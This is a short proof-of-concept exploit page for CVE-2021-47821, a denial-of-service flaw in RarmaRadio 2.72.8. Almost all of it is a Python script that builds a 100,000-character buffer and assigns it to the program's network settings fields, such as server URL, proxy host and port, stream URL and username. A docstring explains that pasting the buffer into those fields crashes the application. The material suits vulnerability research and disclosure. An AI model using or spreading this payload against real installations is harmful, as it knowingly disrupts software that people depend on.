CVE-2021-47821: RarmaRadio 2.72.8 拒绝服务漏洞

# CVE-2021-47821 PoC - RarmaRadio 2.72.8 DoS Exploit # Generate large buffer for network configuration fields import sys def generate_dos_payload(buffer_size=100000): """Generate oversized buffer to trigger DoS in RarmaRadio""" # Create a 100,000 character buffer oversized_buffer = 'A' * buffer_size return oversized_buffer def exploit_rarmaradio(): """ Exploitation steps: 1. Generate 100,000 character buffer 2. Paste the buffer into multiple network setting fields: - Server/Station URL field - Proxy server field - Port configuration fields - Authentication fields 3. Application will crash or become unstable """ payload = generate_dos_payload(100000) # Simulate injection into multiple fields fields = [ 'server_url', 'proxy_host', 'proxy_port', 'stream_url', 'authentication_username' ] exploit_data = {} for field in fields: exploit_data[field] = payload print(f"[+] Generated DoS payload: {len(payload)} bytes") print(f"[+] Target fields: {', '.join(fields)}") print(f"[+] Exploit data prepared for injection") return exploit_data if __name__ == '__main__': exploit_rarmaradio()